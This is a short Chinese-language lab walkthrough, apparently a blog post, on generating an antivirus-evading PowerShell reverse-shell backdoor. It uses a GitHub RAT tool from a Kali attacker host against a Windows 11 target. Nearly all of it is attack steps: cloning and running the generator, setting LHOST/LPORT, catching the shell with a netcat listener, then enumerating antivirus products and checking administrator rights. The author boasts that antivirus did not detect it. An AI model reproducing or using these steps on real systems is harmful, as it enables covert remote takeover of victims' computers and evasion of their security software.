PowerShell Payload 后门测试
目标机:Windows 11 IP:192.168.120.164
攻击机:Kali IP:192.168.120.133
测试项目:https://github.com/machine1337/window-rat
cd /opt
git clone https://github.com/machine1337/window-rat.git
cd window-rat
chmod +x exploit.sh
./exploit.sh
出现以下这个页面就证明可以满足条件,接下来配置相关参数即可
Select:1 (·选择攻击类型)
Select:2 (选择局域网)
这里一选项为广域网,二为局域网。我在这里的话选二。
LHOST 输入攻击机IP地址
LPORT 输入反弹至攻击机的端口
生成PowerShell如下:
输出的Payload位置:当前目录下的子目录中/output/bypass.ps1
目标机执行脚本,攻击机启用监听设置端口。
nc -lvnp 4444
杀毒软件没有报毒,成功拿到Windows控制权。
列出当前所安装的杀毒软件:
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
查看是否具有管理员权限提升:
If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }
回显yes,证明具有权限提升。
🍜完!!!